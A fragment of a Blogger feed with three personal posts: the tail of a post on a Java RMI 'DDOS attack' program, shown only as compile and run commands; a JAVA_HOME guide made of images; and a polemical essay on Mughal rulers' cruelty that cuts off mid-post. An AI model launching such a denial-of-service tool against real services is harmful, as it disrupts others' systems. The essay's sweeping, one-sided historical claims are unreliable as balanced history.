But in RMI we just need to compile in a bit different way. As it&#39;s related to client-server communication so we must need a stub that will be used as a communication &amp;nbsp;bridge &amp;nbsp;in between client and a server.&lt;br /&gt;
&lt;br /&gt;
When we are already done with the coding. So, now we need to compile and test it.&lt;br /&gt;
&lt;br /&gt;
javac DDOSServiceClient.java&lt;br /&gt;
javac DDOSServiceServer.java&lt;br /&gt;
rmic DDOSServiceServer&lt;br /&gt;
start rmiregistry&lt;br /&gt;
&lt;br /&gt;
java DDOSServiceServer on server machine&lt;br /&gt;
java DDOSServiceClient on client machine.&lt;br /&gt;
&lt;br /&gt;
That&#39;s it hope it will be helpful for many.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/6329426835617429881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2013/05/ddos-distributed-denial-of-service.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6329426835617429881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6329426835617429881'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2013/05/ddos-distributed-denial-of-service.html' title='DDOS (Distributed Denial of Service) Attack in Java '/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-1774365280825378705</id><published>2013-02-10T01:01:00.002-08:00</published><updated>2013-02-10T01:01:57.915-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>How to set JAVA_HOME in Windows 7</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4-8laxFnNNOkBtVHG8uXdGZMO8Iym0jw5DjQMhOfbiEH2bLGLqQcFIxadLRrGcXlOT7YrSiRJ9ES8wBcFkzI6sdc6rvlEnqH0vj438eOCnWozD3Z8V687A5MHixJCpD6o6NaQo9SxayOR/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4-8laxFnNNOkBtVHG8uXdGZMO8Iym0jw5DjQMhOfbiEH2bLGLqQcFIxadLRrGcXlOT7YrSiRJ9ES8wBcFkzI6sdc6rvlEnqH0vj438eOCnWozD3Z8V687A5MHixJCpD6o6NaQo9SxayOR/s320/1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGPagIx9fhTRWE9lqlO6FyWQ3bbiWAcPnp9ZoxeTia_WZ-3UM9c5M5_WsiygBJHYkTEQ_GoORVBLtkceM3WGfYBpzxWFDNm2nLxkPnYuJjF0ImGw1FhyphenhyphenVkS0haVnyRafYtiWZFrFOzvU2X/s1600/2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGPagIx9fhTRWE9lqlO6FyWQ3bbiWAcPnp9ZoxeTia_WZ-3UM9c5M5_WsiygBJHYkTEQ_GoORVBLtkceM3WGfYBpzxWFDNm2nLxkPnYuJjF0ImGw1FhyphenhyphenVkS0haVnyRafYtiWZFrFOzvU2X/s320/2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIblwJuftgh5Cex3REHp6Rpsru_hYcj2mx7zh14wL5K66FT2km8HR-rBhke84IOqgt6CgMSGUBJjwv85-amNA0XVASNsEJgAi3xIGCb-rblBUm4OyWk5apHG1ygdEunltVcRcOs3GOjqub/s1600/3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIblwJuftgh5Cex3REHp6Rpsru_hYcj2mx7zh14wL5K66FT2km8HR-rBhke84IOqgt6CgMSGUBJjwv85-amNA0XVASNsEJgAi3xIGCb-rblBUm4OyWk5apHG1ygdEunltVcRcOs3GOjqub/s320/3.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgUSHRaPbPyNJqhxX4MTDrm9lhzJE1OKSgqDv9IUbyjwiobSWlqHW1eMvFkeORp9LSxsZ5OT7ZJa25flJP5uJaavyE7-2G-Xf8M-ls6iZEEZjU23pzFdwLPG_I3Es4BeSlj_S-ZRA9A6MX/s1600/4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgUSHRaPbPyNJqhxX4MTDrm9lhzJE1OKSgqDv9IUbyjwiobSWlqHW1eMvFkeORp9LSxsZ5OT7ZJa25flJP5uJaavyE7-2G-Xf8M-ls6iZEEZjU23pzFdwLPG_I3Es4BeSlj_S-ZRA9A6MX/s320/4.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&amp;nbsp;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8KE-iJjdWsq96zDpqJb74xD8-fKN3-7ImNoDmFj1PzurBlC76oD_OLDpmw9kBUFCYonADLXNvKv6StqctbK4sTRiK5IsD5qTlEHe30yiQEHOH-Q02eoDjTQG9s_ws9NX1e9mW2D_5Cpq2/s1600/5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8KE-iJjdWsq96zDpqJb74xD8-fKN3-7ImNoDmFj1PzurBlC76oD_OLDpmw9kBUFCYonADLXNvKv6StqctbK4sTRiK5IsD5qTlEHe30yiQEHOH-Q02eoDjTQG9s_ws9NX1e9mW2D_5Cpq2/s320/5.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyRcEEjaaX7Qqsx7Lsz7g3gyH7C1rRzlJp1zheKSc4S-nGHw8viFxShM0j46dt9zEZ5v9WKOhV4q6nh3-bEpL-K0dMm04aJAV0BYD6o8oezjXb0WCBoSJNeWqyQrsclRhVeCjhKS8w8SR3/s1600/6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyRcEEjaaX7Qqsx7Lsz7g3gyH7C1rRzlJp1zheKSc4S-nGHw8viFxShM0j46dt9zEZ5v9WKOhV4q6nh3-bEpL-K0dMm04aJAV0BYD6o8oezjXb0WCBoSJNeWqyQrsclRhVeCjhKS8w8SR3/s320/6.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbgzGifwarPpsuali3LugLmewVfaztqzWT5JEsdMeynmqFt2dCNxZ9xA00LFrn2XLY4G9SSUY8XplTMduvtDDOYT2aqDmmfRnc42GpE2xsfTTXfvTpr-mEAPqfuVp5cU__3qycO2z_ES7a/s1600/7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbgzGifwarPpsuali3LugLmewVfaztqzWT5JEsdMeynmqFt2dCNxZ9xA00LFrn2XLY4G9SSUY8XplTMduvtDDOYT2aqDmmfRnc42GpE2xsfTTXfvTpr-mEAPqfuVp5cU__3qycO2z_ES7a/s320/7.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ9JoWFGlwt00EfdLQsYDAyr6AW9eP6hu_1rN_2miT8HiVaJqRYdlngw5E9Cesph3uuRQpgipv5OAinX0UEe_VxEVyI_oFMCPSB_Mgp-FyAzlaLkFMtMLcagLaQ8KcjT6F044Q06FZu5pv/s1600/8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ9JoWFGlwt00EfdLQsYDAyr6AW9eP6hu_1rN_2miT8HiVaJqRYdlngw5E9Cesph3uuRQpgipv5OAinX0UEe_VxEVyI_oFMCPSB_Mgp-FyAzlaLkFMtMLcagLaQ8KcjT6F044Q06FZu5pv/s320/8.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRFi6uLgGiZgdgXHMf2sNOBCQsfg0G_-Ze0CuatZe0dm7Fz9JxKeY5mepVxpZm096WCaAZVh2kIR6gxmx67l7ZrO0cOtshyphenhyphen00iUgTPiXQSuFSNVvovhPKXHsCqinSn69YlfCdZk6JjbDil/s1600/9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRFi6uLgGiZgdgXHMf2sNOBCQsfg0G_-Ze0CuatZe0dm7Fz9JxKeY5mepVxpZm096WCaAZVh2kIR6gxmx67l7ZrO0cOtshyphenhyphen00iUgTPiXQSuFSNVvovhPKXHsCqinSn69YlfCdZk6JjbDil/s320/9.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZjRCaxJ-2SK5HB0o9PqdHTWqdBjWWg90CCAOD-ofC4DfRv_hmApAX6rhnj3LePPhh3iiRdpfdNWJB8z1m3vsGC_LbEKA2dO8RMJJWUBV2xzqB8tITji4x4bYkZf0NGNAPOiazYjtwGWhB/s1600/10.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZjRCaxJ-2SK5HB0o9PqdHTWqdBjWWg90CCAOD-ofC4DfRv_hmApAX6rhnj3LePPhh3iiRdpfdNWJB8z1m3vsGC_LbEKA2dO8RMJJWUBV2xzqB8tITji4x4bYkZf0NGNAPOiazYjtwGWhB/s320/10.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT9ofIOV4bRjGJWdRzAY91CzUgzHQUpqzbDTew2jkq3cDmV_KDvYkBf8C4R2kngoQh0HkAlOUevqsm6cjxz4S7Sf1hWD4nK935uXNOYY8j6Ou5ZIkFsSV1xgCLIs4rNwr-BX7omxsqGXO6/s1600/12.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT9ofIOV4bRjGJWdRzAY91CzUgzHQUpqzbDTew2jkq3cDmV_KDvYkBf8C4R2kngoQh0HkAlOUevqsm6cjxz4S7Sf1hWD4nK935uXNOYY8j6Ou5ZIkFsSV1xgCLIs4rNwr-BX7omxsqGXO6/s320/12.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZGDqvyYPUUTf5apnRKdNB2loQz8eLVl0arqDOk72LHgHoTDqN4dYjCqE5kIpRTqERMmQ5gpewIFvZNMjGjG83cC2HzTzFzg4HIHGizLRkkGmHAcJqr7EQZFF2cS4DxhnHRmqfxXslO4Yx/s1600/11.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZGDqvyYPUUTf5apnRKdNB2loQz8eLVl0arqDOk72LHgHoTDqN4dYjCqE5kIpRTqERMmQ5gpewIFvZNMjGjG83cC2HzTzFzg4HIHGizLRkkGmHAcJqr7EQZFF2cS4DxhnHRmqfxXslO4Yx/s320/11.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/1774365280825378705/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2013/02/how-to-set-javahome-in-windows-7.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/1774365280825378705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/1774365280825378705'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2013/02/how-to-set-javahome-in-windows-7.html' title='How to set JAVA_HOME in Windows 7'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4-8laxFnNNOkBtVHG8uXdGZMO8Iym0jw5DjQMhOfbiEH2bLGLqQcFIxadLRrGcXlOT7YrSiRJ9ES8wBcFkzI6sdc6rvlEnqH0vj438eOCnWozD3Z8V687A5MHixJCpD6o6NaQo9SxayOR/s72-c/1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-5006978638336772147</id><published>2012-07-29T17:49:00.000-07:00</published><updated>2012-07-30T03:11:55.842-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Religion"/><category scheme="http://www.blogger.com/atom/ns#" term="Social"/><title type='text'>No Kindess for Killing</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
Since past few
years I have been getting news like save Muslims in Iraq, Egypt, and These days
in Burma. Well I think it&#39;s a human nature that powerful always rules and&amp;nbsp;&lt;span style=&quot;background-color: white;&quot;&gt;demolishes the&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt;weaker. There is nothing like show kindness before killing
anyone, or portraying anyone as the world&#39;s most brutal nation or religion.
Because power has no religion but nature which is built-in into human. As if
anyone is aware of the condition in Pakistan, so, this can be easily judged;
Shia are minorities so they get killed in Majority, in NWFP Pakhtoons are in
Majority so they enforce Kalashians to left their religion or the souls.
Similarly, when we go to Burma scene then a group of extremist who are in
majority want the minorities to leave their land.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
Before writing
anything I just want to assure the reader that I am also a Muslim and I have no
differences with my religion at all but, we always hear that Muslims are
innocent and they always get crushed. Let&#39;s not get back so far and start from
Akbar and his few ancestors and&amp;nbsp;descendants. As Akbar always portrayed as the greatest ruler in
the history of Muslim Leaders. I always get a question in my mind that why we
always get a bias and altered history in our academic books? Well, a difficult
question to even ask myself. But, I really don&#39;t want my family kids to get
grown with those so called pseudo secular historians &amp;nbsp;written books &amp;nbsp;who always concealed Akbar&#39; s inhuman cruelty.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
First let me tell
my readers something about the cruelty of Akbar to his own servant and family
members, this incident was narrated by Asad Beg:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
“At
that time the Emperor used to retire for a long interval, after evening
prayers, during which time the servants and courtiers used to disperse,
assembling again when they expected His Majesty to re-appear. That evening he
(Akbar) happened to come out sooner than usual, to hear the news from the
Dakhin, and at first found none of the servants in the palace. When he came near
the throne and couch, he saw a luckless lamplighter, coiled up like a snake, in
a careless death-like sleep, close to the royal couch. Enraged at the sight, he
ordered him to be thrown from the tower, and he was dashed into a thousand
pieces.” (--Asad Beg, Wikaya)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
Humayun, Akbar’s
father, blinded his elder brother Kamran so that he could never pose a threat
to the throne and Akbar assassinated Kamran’s son for the same reason. But, it
can be easily seen from this scenario that this blood-line had the cells of
brutality in it. As Akbar ancestors were none other then the most barbarous and
vicious killers from the history, named as Babar and Humayun. By getting the
above things one can easily get an idea that these deeds can only be expected
from those who never ever faced to any school of civilization. Yes, akbar was
bron and brought up in an illiterate and foul atmosphere characterized by
womanizing, drug addiction and excessive drinking. Few secular historians
always project Akbar as the greats of all Mughals. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
Babar who was the
grandfather of Akbar, when invaded India in 1521, he ordered and took thousands
of persons in prison. the pitilessly lashing of women and children were the
common bravery act by such a brave ruler in impended history. Babar
was also a terrible iconoclast. Babar’s barbarism desecrated and demolished
thousands of Hindu temples and converted several thousands into mosques. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
After
all these act we know Babar as the best of the rulers of his time who had eight
great qualities which are: prudence and foresight, great personal ambition,
skilled warrior, skilled and generous administrator, a man free from religious
discrimination and the quality to gain the hearts of the army. Beside that, he
was a great admirer of art, music and learning. He was also a poet and could
write good poetry in Persian language. Were these historians are talking about
the same Babar I read or Babar had split personality issues at that time.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
Well
Babar was a poet sounds strange but that&#39;s true, he wrote poetry from his
beloved Babri who was a young boy and he was the subject of Babar&#39;s poetry:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
In
a verse, Babar wrote –&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
“I
am abashed whenever I see my love,&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
My
companion looks at me while I look to the other way.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
I
had neither strength to go nor power to stay,&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
To
such distraction you have reduced me&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
Oh,
my (male) sweetheart.”&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
Humayun,
Akbar’s father, had a similar legacy of cruelty, slaughtering Hindus in
thousands and taking Hindu women and children as captives. After repeated
battles, Humayum could ultimately capture his elder brother Kamran and
subjected the latter to brutal torture. He was pulled out of the tent and a
lancet was thrust into his eyes. Some lemon juice and salt was put into his
eyes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
One
can imagine the cruelty and torture that Humayun was capable of inflicting on
others when he subjected to his own brother to such atrocities He is also known
to have married a 14 year old Hamida Begum by force. The cruelties perpetrated
by of Akbar’s descendants (Jehangir, Shahjahan, Aurangzeb, etc..) are not
entirely different from those of his ancestors. It is amazing that Akbar let
his contemporaries and Generals, like Peer Mohammad, loot and rape the helpless
citizenry that he was ruling! &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
